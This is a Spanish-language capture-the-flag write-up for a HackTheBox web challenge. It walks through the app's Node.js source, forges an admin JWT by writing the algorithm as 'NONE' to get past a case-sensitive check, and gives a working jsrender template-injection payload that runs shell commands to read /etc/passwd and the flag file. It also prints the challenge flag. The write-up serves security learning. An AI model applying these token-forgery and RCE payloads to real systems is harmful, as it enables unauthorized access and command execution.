Didactic Octo Paddles
6 minutos de lectura
Se nos proporciona un sitio web como este:
También tenemos el código fuente en Node.js.
Análisis del código fuente
La aplicación web está construida con Express JS. Después de leer algunos archivos, uno que destaca es middlewares/AdminMiddleware.js
:
const jwt = require("jsonwebtoken");
const { tokenKey } = require("../utils/authorization");
const db = require("../utils/database");
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
} else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
} else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
module.exports = AdminMiddleware;
El servidor utiliza JSON Web Token (JWT) como método de autenticación. Sin embargo, se comporta de manera diferente dependiendo del método de firma (varía entre None
y HS256
).
El tokenKey
viene de utils/authorization.js
:
const crypto = require("crypto");
const jwt = require("jsonwebtoken");
const adminPassword = crypto
.randomBytes(32 / 2)
.toString("hex")
.slice(0, 32);
const tokenKey = crypto
.randomBytes(64 / 2)
.toString("hex")
.slice(0, 64);
const getUserId = (sessionCookie) => {
try {
const session = jwt.verify(sessionCookie, tokenKey);
const userId = session.id;
return userId;
} catch (err) {
return null;
}
};
module.exports = { adminPassword, tokenKey, getUserId };
Dado que el secreto del token es aleatorio, no podemos falsificar ningún token JWT. Por lo tanto, debemos engañar al servidor para que verifique un token JWT malicioso y obtener acceso a la aplicación.
Como en muchos retos, el usuario objetivo es admin
(utils/database.js
):
Database.create = async () => {
try {
await Database.Users.sync({ force: true });
await Database.Products.sync({ force: true });
await Database.Carts.sync({ force: true });
await Database.Users.create({
username: "admin",
password: bcrypt.hashSync(adminPassword, 10),
});
products.forEach(async (product) => {
await Database.Products.create(product);
});
} catch (error) {
console.error("Error creating table:", error);
}
};
module.exports = Database;
Además, los datos contenidos en el token JWT son solo la identificación de usuario, como se muestra en el endpoint /api/login
de routes/index.js
):
router.post("/login", async (req, res) => {
try {
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
return res
.status(400)
.send(response("Username and password are required"));
}
const user = await db.Users.findOne({
where: { username: username },
});
if (!user) {
return res
.status(400)
.send(response("Invalid username or password"));
}
const validPassword = bcrypt.compareSync(password, user.password);
if (!validPassword) {
return res
.status(400)
.send(response("Invalid username or password"));
}
const token = jwt.sign({ id: user.id }, tokenKey, {
expiresIn: "1h",
});
res.cookie("session", token);
return res.status(200).send(response("Logged in successfully"));
} catch (error) {
console.error(error);
res.status(500).send({
error: "Something went wrong!",
});
}
});
Falsificando JWT
Entonces, intentemos falsificar un token JWT usando algoritmo none
pero tratando de saltar la comprobación decoded.header.alg == 'none'
. Obsérvese que el primer ID de usuario es 1
, que corresponde al usuario admin
.
Para probar eso, utilicé el REPL de Node.js con jsonwebtoken
instalado:
$ node
Welcome to Node.js v19.8.1.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ id: '1' }, null, { algorithm: 'none' })
Uncaught Error: secretOrPrivateKey must have a value
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:105:20)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'none' })
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IjEiLCJpYXQiOjE2Nzk3MTE2MDF9.'
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'None' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'NONE' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
> jwt.sign({ id: '1' }, 'asdf', { algorithm: 'none ' })
Uncaught Error: "algorithm" must be a valid string enum value
at ./node_modules/jsonwebtoken/sign.js:50:15
at Array.forEach (<anonymous>)
at validate (./node_modules/jsonwebtoken/sign.js:41:6)
at validateOptions (./node_modules/jsonwebtoken/sign.js:56:10)
at module.exports [as sign] (./node_modules/jsonwebtoken/sign.js:165:5)
Obsérvese que null
no es un secreto válido para firmar los tokens. Además, no se nos permite jugar con el algoritmo para evitar la comprobación. Pero esto es solo una verificación de la librería, ¿qué pasa si modificamos el token nosotros mismos? Dado que el algoritmo None
no implementa ninguna firma, podemos modificar cualquier campo en el token JWT:
> atob('eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0')
'{"alg":"none","typ":"JWT"}'
> btoa('{"alg":"NONE","typ":"JWT"}')
'eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0='
Como se puede ver, modificamos la primera parte del token JWT para que el algoritmo sea NONE
(no none
). Entonces, este es el token que usaremos para obtener una sesión de admin
(quitando los signos =
):
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6IjEiLCJpYXQiOjE2Nzk3MTE2MDF9.
Ponemos el token como una cookie:
Ahora vamos a /admin
y vemos si funciona:
¡Estamos dentro!
Server-Side Template Injection
Como admin
, tenemos acceso a /admin
:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
router.get("/logout", async (req, res) => {
res.clearCookie("session");
return res.redirect("/");
});
Aquí vemos algo extraño, porque el servidor usa una plantilla para representar la lista de nombres de usuario registrados en la aplicación. Sin embargo, usa `${usernames}`
en lugar de usernames
.
En realidad, esto no es crítico. Pero este hecho me sugirió leer cómo se escribe las plantillas. El archivo relevante es views/admin.jsrender
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Admin Dashboard</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="icon" href="/static/images/favicon.png" />
<link href="https://cdn.jsdelivr.net/npm/bootswatch@5.2.3/dist/cerulean/bootstrap.min.css" rel="stylesheet" />
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet" />
<link rel="stylesheet" type="text/css" href="/static/css/main.css" />
</head>
<body>
<div class="d-flex justify-content-center align-items-center flex-column" style="height: 100vh;">
<h1>Active Users</h1>
<ul class="list-group small-list">
{{for users.split(',')}}
<li class="list-group-item d-flex justify-content-between align-items-center ">
<span>{{>}}</span>
</li>
{{/for}}
</ul>
</div>
</body>
</html>
De hecho, la vulnerabilidad está aquí:
{{for users.split(',')}}
<li class="list-group-item d-flex justify-content-between align-items-center ">
<span>{{>}}</span>
</li>
{{/for}}
La sintaxis {{>}}
indica que podemos evaluar código arbitrario de JavaScript y representar código HTML arbitrario (más información en appcheck-ng.com). Como se muestra, podemos transformar este Server-Side Template Injection (SSTI) en jsrender
en ejecución remota de comandos (RCE) con un payload como este:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Para hacer esto, debemos registrar un nombre de usuario con el payload de SSTI y luego iniciar sesión como admin
para renderizar el payload en la pantalla.
Como se puede ver en el Dockerfile
, la flag estará en /flag.txt
:
FROM node:alpine
# Install system packages
RUN apk add --update --no-cache supervisor
# Setup app
RUN mkdir -p /app
# Add application
WORKDIR /app
COPY challenge .
# Copy flag
COPY flag.txt /flag.txt
# Install dependencies
RUN yarn
# Setup superivsord
COPY config/supervisord.conf /etc/supervisord.conf
# Expose the port node-js is reachable on
EXPOSE 1337
# Start the node-js application
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Por lo tanto, vamos a leerlo con el siguiente payload de SSTI:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
Flag
Ahora volvemos a /admin
y lo tenemos:
HTB{jwt_n0n3_sst1_4tt4cks_4r3_c00l!}